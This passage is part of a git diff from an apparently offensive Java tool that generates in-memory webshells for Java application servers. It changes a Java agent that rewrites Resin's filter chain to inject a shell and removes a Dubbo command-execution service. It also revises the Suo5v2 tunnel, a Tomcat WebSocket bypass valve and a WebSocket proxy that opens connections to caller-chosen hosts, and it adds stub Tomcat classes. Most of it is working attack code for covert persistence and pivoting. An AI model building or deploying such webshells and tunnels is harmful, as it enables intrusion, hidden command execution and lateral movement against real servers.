-        if (objInvokeStaticNoArgs != null) {
-            return objInvokeStaticNoArgs;
-        }
-        Object objInvokeStaticNoArgs2 = invokeStaticNoArgs(ApplicationModel.class, "defaultModel");
-        Object objInvokeNoArgs = invokeNoArgs(objInvokeStaticNoArgs2, "getDefaultModule");
-        return invokeNoArgs(objInvokeNoArgs, "getConfigManager");
-    }
-
-    private String formatUrls(List<?> list) {
-        return list.stream()
-                .map(this::formatUrl)
-                .collect(Collectors.joining(", "));
-    }
-
-    private String formatProtocolAddresses(List<?> list, String str) {
-        return list.stream()
-                .map(obj -> formatProtocolAddress(obj, str))
-                .collect(Collectors.joining(", "));
-    }
-
-    private String formatUrl(Object obj) {
-        String strStringValue = stringValue(invokeNoArgs(obj, "getProtocol"), "dubbo");
-        String strNormalizePath = normalizePath(stringValue(invokeNoArgs(obj, "getPath"), ""));
-        Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
-        return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, strNormalizePath) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, strNormalizePath);
-    }
-
-    private String formatProtocolAddress(Object obj, String str) {
-        String strStringValue = stringValue(invokeNoArgs(obj, "getName"), "dubbo");
-        Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
-        return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, str) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, str);
-    }
-
-    private String stringValue(Object obj, String str) {
-        return (!(obj instanceof String) || ((String) obj).isEmpty()) ? str : (String) obj;
-    }
-
-    private Integer integerValue(Object obj) {
-        if (obj instanceof Number) {
-            return Integer.valueOf(((Number) obj).intValue());
-        }
-        return null;
-    }
-
-    private List<ProtocolConfig> castProtocols(List<?> list) {
-        return list.stream()
-                .filter(ProtocolConfig.class::isInstance)
-                .map(ProtocolConfig.class::cast)
-                .collect(Collectors.toList());
-    }
-
-    private List<ProtocolConfig> mergeProtocols(Collection<ProtocolConfig> collection, Collection<ProtocolConfig> collection2) {
-        LinkedHashMap<String, ProtocolConfig> linkedHashMap = new LinkedHashMap<>();
-        addProtocols(linkedHashMap, collection);
-        addProtocols(linkedHashMap, collection2);
-        return new ArrayList<>(linkedHashMap.values());
-    }
-
-    private void addProtocols(Map<String, ProtocolConfig> map, Collection<ProtocolConfig> collection) {
-        if (collection == null) {
-            return;
-        }
-        for (ProtocolConfig protocolConfig : collection) {
-            if (protocolConfig != null) {
-                map.put(protocolKey(protocolConfig), protocolConfig);
-            }
-        }
-    }
-
-    private String protocolKey(ProtocolConfig protocolConfig) {
-        return String.valueOf(protocolConfig.getName()) + "|" + String.valueOf(protocolConfig.getHost()) + "|" + String.valueOf(protocolConfig.getPort()) + "|" + String.valueOf(protocolConfig.getServer()) + "|" + String.valueOf(protocolConfig.getId());
-    }
-
-    private String getErrorMessage(Throwable th) {
-        try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
-             PrintStream printStream = new PrintStream(byteArrayOutputStream)) {
-            th.printStackTrace(printStream);
-            return byteArrayOutputStream.toString();
-        } catch (IOException e) {
-            return String.valueOf(th);
-        }
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java

@@ -14,11 +14,9 @@ import java.util.zip.GZIPInputStream;
  * @since 2025/3/26
  */
 public class ResinFilterChainAgentInjector implements ClassFileTransformer {
+    private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
     private static final String TARGET_METHOD_NAME = "doFilter";
-    private static final String[] TARGET_CLASSES = new String[]{
+
-            "com/caucho/server/http/FilterChainFilter",
-            "com/caucho/server/dispatch/FilterFilterChain",
-    };
     public static String getClassName() {
         return "{{advisorName}}";
     }
@@ -40,10 +38,8 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
         inst.addTransformer(new ResinFilterChainAgentInjector(), true);
         for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
             String name = allLoadedClass.getName();
-            for (String targetClass : TARGET_CLASSES) {
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
-                if (targetClass.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
-                    inst.retransformClasses(allLoadedClass);
-                }
             }
         }
     }
@@ -52,24 +48,22 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
     @SuppressWarnings("all")
     public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
                             ProtectionDomain protectionDomain, byte[] bytes) {
-        for (String targetClass : TARGET_CLASSES) {
+        if (TARGET_CLASS.equals(className)) {
-            if (className.equals(targetClass)) {
+            defineTargetClass(loader);
-                defineTargetClass(loader);
+            try {
-                try {
+                ClassReader cr = new ClassReader(bytes);
-                    ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
-                    ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
-                        @Override
+                    protected ClassLoader getClassLoader() {
-                        protected ClassLoader getClassLoader() {
+                        return loader;
-                            return loader;
+                    }
-                        }
+                };
-                    };
+                ClassVisitor cv = getClassVisitor(cw);
-                    ClassVisitor cv = getClassVisitor(cw);
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
-                    cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
-                    System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME);
+                return cw.toByteArray();
-                    return cw.toByteArray();
+            } catch (Exception e) {
-                } catch (Exception e) {
+                e.printStackTrace();
-                    e.printStackTrace();
-                }
             }
         }
         return bytes;

generator/src/main/java/com/reajason/javaweb/memshell/server/Dubbo.java

@@ -1,15 +0,0 @@
-package com.reajason.javaweb.memshell.server;
-
-import com.reajason.javaweb.memshell.ShellType;
-import com.reajason.javaweb.memshell.injector.dubbo.AlibabaDubboServiceInjector;
-import com.reajason.javaweb.memshell.injector.dubbo.ApacheDubboServiceInjector;
-
-public class Dubbo extends AbstractServer {
-    @Override
-    public InjectorMapping getShellInjectorMapping() {
-        return InjectorMapping.builder()
-                .addInjector(ShellType.APACHE_DUBBO_SERVICE, ApacheDubboServiceInjector.class)
-                .addInjector(ShellType.ALIBABA_DUBBO_SERVICE, AlibabaDubboServiceInjector.class)
-                .build();
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/ShellDubboService.java

@@ -1,5 +0,0 @@
-package com.reajason.javaweb.memshell.shelltool;
-
-public interface ShellDubboService {
-    byte[] handle(byte[] bytes);
-}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandDubboService.java

@@ -1,75 +0,0 @@
-package com.reajason.javaweb.memshell.shelltool.command;
-
-import java.io.ByteArrayOutputStream;
-import java.io.InputStream;
-import java.io.PrintStream;
-import java.lang.reflect.Field;
-import java.util.Scanner;
-
-public class CommandDubboService {
-
-    public byte[] handle(byte[] bytes) {
-        if (bytes == null || bytes.length == 0) {
-            return new byte[0];
-        }
-        String p = new String(bytes);
-        String param = getParam(p);
-        try {
-            InputStream inputStream = getInputStream(param);
-            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
-            outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
-            outputStream.flush();
-            outputStream.close();
-            return outputStream.toByteArray();
-        } catch (Exception e) {
-            return getErrorMessage(e).getBytes();
-        }
-    }
-
-    private String getParam(String param) {
-        return param;
-    }
-
-    private InputStream getInputStream(String param) throws Exception {
-        return null;
-    }
-
-    @SuppressWarnings("all")
-    public Object unwrap(Object obj, String fieldName) {
-        try {
-            return getFieldValue(obj, fieldName);
-        } catch (Throwable e) {
-            return obj;
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                Field field = clazz.getDeclaredField(name);
-                field.setAccessible(true);
-                return field.get(obj);
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
-    }
-
-    @SuppressWarnings("all")
-    private String getErrorMessage(Throwable throwable) {
-        PrintStream printStream = null;
-        try {
-            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
-            printStream = new PrintStream(outputStream);
-            throwable.printStackTrace(printStream);
-            return outputStream.toString();
-        } finally {
-            if (printStream != null) {
-                printStream.close();
-            }
-        }
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java

@@ -248,9 +248,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
                 baos.write(bodyContent);
                 byte[] newBody = baos.toByteArray();
                 conn = redirect(req, new String(redirectData), newBody);
-                resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
                 OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
-                pipeStream(conn.getInputStream(), out, resp, false);
+                pipeStream(conn.getInputStream(), out, false);
             } finally {
                 if (conn != null) {
                     conn.disconnect();
@@ -347,10 +346,11 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
 
         Thread t = null;
         boolean sendClose = true;
-        final OutputStream scOutStream = socket.getOutputStream();
-        final InputStream scInStream = socket.getInputStream();
-        final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
         try {
+            final OutputStream scOutStream = socket.getOutputStream();
+            final InputStream scInStream = socket.getInputStream();
+            final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
+
             Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
             t = new Thread(p);
             t.start();
@@ -539,8 +539,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
             throw new IOException("tunnel not found");
         }
         SocketChannel sc = (SocketChannel) objs[0];
-        if (!sc.isOpen()) {
+        if (!sc.isConnected()) {
-            return;
+            throw new IOException("socket not connected");
         }
 
         byte[] data = (byte[]) dataMap.get("dt");
@@ -563,6 +563,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
             throw new IOException("tunnel not found");
         }
         SocketChannel sc = (SocketChannel) objs[0];
+        if (!sc.isConnected()) {
+            throw new IOException("socket not connected");
+        }
         ByteArrayOutputStream baos = new ByteArrayOutputStream();
         BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
         int maxSize = 512 * 1024; // 1MB
@@ -579,10 +582,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
                 break; // no more data
             }
         }
-        if (!sc.isOpen() && readQueue.isEmpty()) {
-            performDelete(tunId);
-            baos.write(marshalBase64(newDel(tunId)));
-        }
         return baos.toByteArray();
     }
 
@@ -611,7 +610,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
         return port;
     }
 
-    private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception {
+    private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception {
         try {
             byte[] readBuf = new byte[1024 * 8];
             while (true) {
@@ -625,9 +624,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
                 }
                 outputStream.write(dataTmp);
                 outputStream.flush();
-                if (resp != null) {
-                    resp.getClass().getMethod("flushBuffer").invoke(resp);
-                }
             }
         } finally {
             // don't close outputStream
@@ -1035,7 +1031,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
         // full stream
         if (this.mode == 0) {
             try {
-                pipeStream(gInStream, gOutStream, null, true);
+                pipeStream(gInStream, gOutStream, true);
             } catch (Exception ignore) {
             }
             return;
@@ -1069,17 +1065,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
                 // write thread
                 while (true) {
                     byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
-                    if (data == null) {
+                    if (data == null || data.length == 0) {
                         selfClean = true;
                         break;
                     }
-                    if (data.length == 0) {
-                        byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
-                        if (signal == null) {
-                            selfClean = true;
-                        }
-                        break;
-                    }
                     ByteBuffer buf = ByteBuffer.wrap(data);
                     while (buf.hasRemaining()) {
                         sc.write(buf);
@@ -1091,8 +1080,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
             if (selfClean) {
 
                 removeKey(this.gtunId);
-                readQueue.clear();
             }
+            readQueue.clear();
             writeQueue.clear();
             try {
                 writeQueue.put(new byte[0]);

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsbypass/TomcatWsBypassValve.java

@@ -5,7 +5,6 @@ import org.apache.catalina.connector.Request;
 import org.apache.catalina.connector.Response;
 
 import javax.servlet.ServletException;
-import javax.websocket.server.ServerContainer;
 import java.io.IOException;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
@@ -30,16 +29,19 @@ public class TomcatWsBypassValve implements Valve {
                 } else {
                     path = request.getServletPath() + pathInfo;
                 }
-                Object sc = request.getServletContext().getAttribute(ServerContainer.class.getName());
+                Object sc = request.getServletContext().getAttribute("javax.websocket.server.ServerContainer");
+                if (sc == null) {
+                    sc = request.getServletContext().getAttribute("jakarta.websocket.server.ServerContainer");
+                }
                 if (sc == null) {
                     throw new ServletException("Server container not found");
                 }
+                addHeader(request, "Connection", "upgrade");
+                addHeader(request, "Upgrade", "websocket");
                 Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path);
                 Class<?> upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil");
                 for (Method method : upgradeUtil.getMethods()) {
                     if ("doUpgrade".equals(method.getName())) {
-                        addHeader(request, "Connection", "upgrade");
-                        addHeader(request, "Upgrade", "websocket");
                         method.invoke(null, sc, request, response, getFieldValue(mappingResult, "config"), getFieldValue(mappingResult, "pathParams"));
                     }
                 }

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsproxy/ProxyWebSocket.java

@@ -4,11 +4,12 @@ import javax.websocket.Endpoint;
 import javax.websocket.EndpointConfig;
 import javax.websocket.MessageHandler;
 import javax.websocket.Session;
-import javax.websocket.CloseReason;
+import java.io.ByteArrayOutputStream;
 import java.net.InetSocketAddress;
 import java.nio.ByteBuffer;
 import java.nio.channels.AsynchronousSocketChannel;
 import java.nio.channels.CompletionHandler;
+import java.util.HashMap;
 import java.util.concurrent.Future;
 import java.util.concurrent.TimeUnit;
 
@@ -20,114 +21,89 @@ public class ProxyWebSocket extends Endpoint implements MessageHandler.Whole<Byt
     private Session session;
     private long messageCount = 0;
     private AsynchronousSocketChannel currentClient = null;
-    private final ByteBuffer buffer = ByteBuffer.allocate(32768);
+    private final ByteBuffer buffer = ByteBuffer.allocate(102400);
+    private ByteArrayOutputStream baos = new ByteArrayOutputStream();
+    private final HashMap<String, AsynchronousSocketChannel> channelMap = new HashMap<>();
 
     public ProxyWebSocket() {
     }
 
-    @Override
-    public void onOpen(Session session, EndpointConfig endpointConfig) {
-        this.messageCount = 0;
-        this.session = session;
-        session.addMessageHandler(this);
-    }
-
-    private void readFromServer() {
-        if (currentClient != null && currentClient.isOpen() && session.isOpen()) {
-            buffer.clear();
-            currentClient.read(buffer, session, this);
-        }
-    }
-
-    @Override
-    public void onMessage(ByteBuffer message) {
-        try {
-            messageCount++;
-            process(message, session);
-        } catch (Exception e) {
-            closeQuietly();
-        }
-    }
-
-    private void process(ByteBuffer messageBuffer, Session channel) {
-        try {
-            if (messageCount > 1 && currentClient != null && currentClient.isOpen()) {
-                currentClient.write(messageBuffer).get();
-            } else if (messageCount == 1) {
-                byte[] bytes = new byte[messageBuffer.remaining()];
-                messageBuffer.get(bytes);
-                String values = new String(bytes);
-
-                String[] array = values.split(" ");
-                if (array.length < 2) return;
-                String[] addrArray = array[1].split(":");
-
-                currentClient = AsynchronousSocketChannel.open();
-                int port = Integer.parseInt(addrArray[1]);
-                InetSocketAddress hostAddress = new InetSocketAddress(addrArray[0], port);
-
-                Future<Void> future = currentClient.connect(hostAddress);
-                try {
-                    future.get(10, TimeUnit.SECONDS);
-                } catch (Exception e) {
-                    channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
-                    closeQuietly();
-                    return;
-                }
-                channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
-                readFromServer();
-            }
-        } catch (Exception e) {
-            closeQuietly();
-        }
-    }
-
-
-    @Override
     public void completed(Integer result, Session attachment) {
-        if (result == -1) {
+        buffer.clear();
-            closeQuietly();
-            return;
-        }
-
         try {
-            if (result > 0) {
+            if (buffer.hasRemaining() && result >= 0) {
-                buffer.flip();
+                byte[] arr = new byte[result];
+                buffer.get(arr, 0, result);
+                baos.write(arr, 0, result);
+                ByteBuffer response = ByteBuffer.wrap(baos.toByteArray());
                 if (attachment.isOpen()) {
-                    attachment.getBasicRemote().sendBinary(buffer);
+                    attachment.getBasicRemote().sendBinary(response);
+                }
+                baos = new ByteArrayOutputStream();
+                readFromServer(attachment, currentClient);
+            } else {
+                if (result > 0) {
+                    byte[] arr = new byte[result];
+                    buffer.get(arr, 0, result);
+                    baos.write(arr, 0, result);
+                    readFromServer(attachment, currentClient);
                 }
             }
-            readFromServer();
+        } catch (Exception ignored) {
-        } catch (Exception e) {
-            closeQuietly();
         }
     }
 
     @Override
     public void failed(Throwable exc, Session attachment) {
-        closeQuietly();
+        exc.printStackTrace();
     }
 
-    @Override
+    public void onMessage(ByteBuffer message) {
-    public void onClose(Session session, CloseReason closeReason) {
-        closeQuietly();
-    }
-
-    @Override
-    public void onError(Session session, Throwable thr) {
-        closeQuietly();
-    }
-
-    private void closeQuietly() {
         try {
-            if (currentClient != null && currentClient.isOpen()) {
+            message.clear();
-                currentClient.close();
+            messageCount++;
-            }
+            process(message, session);
         } catch (Exception ignored) {
         }
+    }
+
+    public void onOpen(Session session, EndpointConfig endpointConfig) {
+        this.messageCount = 0;
+        this.session = session;
+        session.setMaxBinaryMessageBufferSize(1024 * 1024 * 1024);
+        session.setMaxTextMessageBufferSize(1024 * 1024 * 1024);
+        session.addMessageHandler(this);
+    }
+
+    private void readFromServer(Session channel, AsynchronousSocketChannel client) {
+        this.currentClient = client;
+        buffer.clear();
+        client.read(buffer, channel, this);
+    }
+
+    private void process(ByteBuffer messageBuffer, Session channel) {
         try {
-            if (session != null && session.isOpen()) {
+            if (messageCount > 1) {
-                session.close();
+                AsynchronousSocketChannel client = channelMap.get(channel.getId());
+                client.write(messageBuffer).get();
+                readFromServer(channel, client);
+            } else if (messageCount == 1) {
+                String values = new String(messageBuffer.array());
+                String[] array = values.split(" ");
+                String[] addrArray = array[1].split(":");
+                AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
+                int port = Integer.parseInt(addrArray[1]);
+                InetSocketAddress hostAddress = new InetSocketAddress(addrArray[0], port);
+                Future<Void> future = client.connect(hostAddress);
+                try {
+                    future.get(10, TimeUnit.SECONDS);
+                } catch (Exception ignored) {
+                    channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
+                    return;
+                }
+                channelMap.put(channel.getId(), client);
+                readFromServer(channel, client);
+                channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
             }
         } catch (Exception ignored) {
         }

generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java

@@ -145,7 +145,7 @@ public class CommonUtil {
                 + "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
     }
 
-    public static String getSimpleName(String className) {
+    public static String getSimpleName(String injectorClassName) {
-        return className.substring(className.lastIndexOf(".") + 1);
+        return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1);
     }
 }

generator/src/main/java/org/apache/catalina/Valve.java

@@ -0,0 +1,25 @@
+package org.apache.catalina;
+
+import org.apache.catalina.connector.Request;
+import org.apache.catalina.connector.Response;
+
+import javax.servlet.ServletException;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/27
+ */
+public interface Valve {
+
+    public Valve getNext();
+
+    public void setNext(Valve valve);
+
+    public void backgroundProcess();
+
+    public void invoke(Request request, Response response)
+            throws IOException, ServletException;
+
+    public boolean isAsyncSupported();
+}

generator/src/main/java/org/apache/catalina/connector/Request.java

@@ -0,0 +1,349 @@
+package org.apache.catalina.connector;
+
+import javax.servlet.*;
+import javax.servlet.http.*;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.security.Principal;
+import java.util.*;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/27
+ */
+public class Request implements HttpServletRequest {
+    @Override
+    public String getAuthType() {
+        return "";
+    }
+
+    @Override
+    public Cookie[] getCookies() {
+        return new Cookie[0];
+    }
+
+    @Override
+    public long getDateHeader(String name) {
+        return 0;
+    }
+
+    @Override
+    public String getHeader(String name) {
+        return "";
+    }
+
+    @Override
+    public Enumeration<String> getHeaders(String name) {
+        return null;
+    }
+
+    @Override
+    public Enumeration<String> getHeaderNames() {
+        return null;
+    }
+
+    @Override
+    public int getIntHeader(String name) {
+        return 0;
+    }
+
+    @Override
+    public String getMethod() {
+        return "";
+    }
+
+    @Override
+    public String getPathInfo() {
+        return "";
+    }
+
+    @Override
+    public String getPathTranslated() {
+        return "";
+    }
+
+    @Override
+    public String getContextPath() {
+        return "";
+    }
+
+    @Override
+    public String getQueryString() {
+        return "";
+    }
+
+    @Override
+    public String getRemoteUser() {
+        return "";
+    }
+
+    @Override
+    public boolean isUserInRole(String role) {
+        return false;
+    }
+
+    @Override
+    public Principal getUserPrincipal() {
+        return null;
+    }
+
+    @Override
+    public String getRequestedSessionId() {
+        return "";
+    }
+
+    @Override
+    public String getRequestURI() {
+        return "";
+    }
+
+    @Override
+    public StringBuffer getRequestURL() {
+        return null;
+    }
+
+    @Override
+    public String getServletPath() {
+        return "";
+    }
+
+    @Override
+    public HttpSession getSession(boolean create) {
+        return null;
+    }
+
+    @Override
+    public HttpSession getSession() {
+        return null;
+    }
+
+    @Override
+    public boolean isRequestedSessionIdValid() {
+        return false;
+    }
+
+    @Override
+    public boolean isRequestedSessionIdFromCookie() {
+        return false;
+    }
+
+    @Override
+    public boolean isRequestedSessionIdFromURL() {
+        return false;
+    }
+
+    @Override
+    public boolean isRequestedSessionIdFromUrl() {
+        return false;
+    }
+
+    @Override
+    public boolean authenticate(HttpServletResponse response) throws IOException, ServletException {
+        return false;
+    }
+
+    @Override
+    public void login(String username, String password) throws ServletException {
+
+    }
+
+    @Override
+    public void logout() throws ServletException {
+
+    }
+
+    @Override
+    public Collection<Part> getParts() throws IOException, ServletException {
+        return Collections.emptyList();
+    }
+
+    @Override
+    public Part getPart(String name) throws IOException, ServletException {
+        return null;
+    }
+
+    @Override
+    public Object getAttribute(String name) {
+        return null;
+    }
+
+    @Override
+    public Enumeration<String> getAttributeNames() {
+        return null;
+    }
+
+    @Override
+    public String getCharacterEncoding() {
+        return "";
+    }
+
+    @Override
+    public void setCharacterEncoding(String env) throws UnsupportedEncodingException {
+
+    }
+
+    @Override
+    public int getContentLength() {
+        return 0;
+    }
+
+    @Override
+    public String getContentType() {
+        return "";
+    }
+
+    @Override
+    public ServletInputStream getInputStream() throws IOException {
+        return null;
+    }
+
+    @Override
+    public String getParameter(String name) {
+        return "";
+    }
+
+    @Override
+    public Enumeration<String> getParameterNames() {
+        return null;
+    }
+
+    @Override
+    public String[] getParameterValues(String name) {
+        return new String[0];
+    }
+
+    @Override
+    public Map<String, String[]> getParameterMap() {
+        return Collections.emptyMap();
+    }
+
+    @Override
+    public String getProtocol() {
+        return "";
+    }
+
+    @Override
+    public String getScheme() {
+        return "";
+    }
+
+    @Override
+    public String getServerName() {
+        return "";
+    }
+
+    @Override
+    public int getServerPort() {
+        return 0;
+    }
+
+    @Override
+    public BufferedReader getReader() throws IOException {
+        return null;
+    }
+
+    @Override
+    public String getRemoteAddr() {
+        return "";
+    }
+
+    @Override
+    public String getRemoteHost() {
+        return "";
+    }
+
+    @Override
+    public void setAttribute(String name, Object o) {
+
+    }
+
+    @Override
+    public void removeAttribute(String name) {
+
+    }
+
+    @Override
+    public Locale getLocale() {
+        return null;
+    }
+
+    @Override
+    public Enumeration<Locale> getLocales() {
+        return null;
+    }
+
+    @Override
+    public boolean isSecure() {
+        return false;
+    }
+
+    @Override
+    public RequestDispatcher getRequestDispatcher(String path) {
+        return null;
+    }
+
+    @Override
+    public String getRealPath(String path) {
+        return "";
+    }
+
+    @Override
+    public int getRemotePort() {
+        return 0;
+    }
+
+    @Override
+    public String getLocalName() {
+        return "";
+    }
+
+    @Override
+    public String getLocalAddr() {
+        return "";
+    }
+
+    @Override
+    public int getLocalPort() {
+        return 0;
+    }
+
+    @Override
+    public ServletContext getServletContext() {
+        return null;
+    }
+
+    @Override
+    public AsyncContext startAsync() throws IllegalStateException {
+        return null;
+    }
+
+    @Override
+    public AsyncContext startAsync(ServletRequest servletRequest, ServletResponse servletResponse) throws IllegalStateException {
+        return null;
+    }
+
+    @Override
+    public boolean isAsyncStarted() {
+        return false;
+    }
+
+    @Override
+    public boolean isAsyncSupported() {
+        return false;
+    }
+
+    @Override
+    public AsyncContext getAsyncContext() {
+        return null;
+    }
+
+    @Override
+    public DispatcherType getDispatcherType() {
+        return null;
+    }
+
+    public Response getResponse() {
+        return null;
+    }
+}

generator/src/main/java/org/apache/catalina/connector/Response.java

@@ -0,0 +1,196 @@
+package org.apache.catalina.connector;
+
+import javax.servlet.ServletOutputStream;
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Locale;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/27
+ */
+public class Response implements HttpServletResponse {
+    @Override
+    public void addCookie(Cookie cookie) {
+
+    }
+
+    @Override
+    public boolean containsHeader(String name) {
+        return false;
+    }
+
+    @Override
+    public String encodeURL(String url) {
+        return "";
+    }
+
+    @Override
+    public String encodeRedirectURL(String url) {
+        return "";
+    }
+
+    @Override
+    public String encodeUrl(String url) {
+        return "";
+    }
+
+    @Override
+    public String encodeRedirectUrl(String url) {
+        return "";
+    }
+
+    @Override
+    public void sendError(int sc, String msg) throws IOException {
+
+    }
+
+    @Override
+    public void sendError(int sc) throws IOException {
+
+    }
+
+    @Override
+    public void sendRedirect(String location) throws IOException {
+
+    }
+
+    @Override
+    public void setDateHeader(String name, long date) {
+
+    }
+
+    @Override
+    public void addDateHeader(String name, long date) {
+
+    }
+
+    @Override
+    public void setHeader(String name, String value) {
+
+    }
+
+    @Override
+    public void addHeader(String name, String value) {
+
+    }
+
+    @Override
+    public void setIntHeader(String name, int value) {
+
+    }
+
+    @Override
+    public void addIntHeader(String name, int value) {
+
+    }
+
+    @Override
+    public void setStatus(int sc) {
+
+    }
+
+    @Override
+    public void setStatus(int sc, String sm) {
+
+    }
+
+    @Override
+    public int getStatus() {
+        return 0;
+    }
+
+    @Override
+    public String getHeader(String name) {
+        return "";
+    }
+
+    @Override
+    public Collection<String> getHeaders(String name) {
+        return Collections.emptyList();
+    }
+
+    @Override
+    public Collection<String> getHeaderNames() {
+        return Collections.emptyList();
+    }
+
+    @Override
+    public String getCharacterEncoding() {
+        return "";
+    }
+
+    @Override
+    public String getContentType() {
+        return "";
+    }
+
+    @Override
+    public ServletOutputStream getOutputStream() throws IOException {
+        return null;
+    }
+
+    @Override
+    public PrintWriter getWriter() throws IOException {
+        return null;
+    }
+
+    @Override
+    public void setCharacterEncoding(String charset) {
+
+    }
+
+    @Override
+    public void setContentLength(int len) {
+
+    }
+
+    @Override
+    public void setContentType(String type) {
+
+    }
+
+    @Override
+    public void setBufferSize(int size) {
+
+    }
+
+    @Override
+    public int getBufferSize() {
+        return 0;
+    }
+
+    @Override
+    public void flushBuffer() throws IOException {
+
+    }
+
+    @Override
+    public void resetBuffer() {
+
+    }
+
+    @Override
+    public boolean isCommitted() {
+        return false;
+    }
+
+    @Override
+    public void reset() {
+
+    }
+
+    @Override
+    public void setLocale(Locale loc) {
+
+    }
+
+    @Override
+    public Locale getLocale() {
+        return null;
+    }
+}

generator/src/main/java/org/apache/coyote/Adapter.java

@@ -0,0 +1,8 @@
+package org.apache.coyote;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/6
+ */
+public interface Adapter {
+}

generator/src/main/java/org/apache/coyote/Processor.java

@@ -0,0 +1,8 @@
+package org.apache.coyote;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/6
+ */
+public interface Processor {
+}

generator/src/main/java/org/apache/coyote/Request.java

@@ -0,0 +1,11 @@
+package org.apache.coyote;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/6
+ */
+public class Request {
+    public Object getNote(int id) {
+        return null;
+    }
+}

generator/src/main/java/org/apache/coyote/UpgradeProtocol.java

@@ -0,0 +1,22 @@
+package org.apache.coyote;
+
+import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
+import org.apache.tomcat.util.net.SocketWrapperBase;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/6
+ */
+public interface UpgradeProtocol {
+    public String getHttpUpgradeName(boolean isSSLEnabled);
+
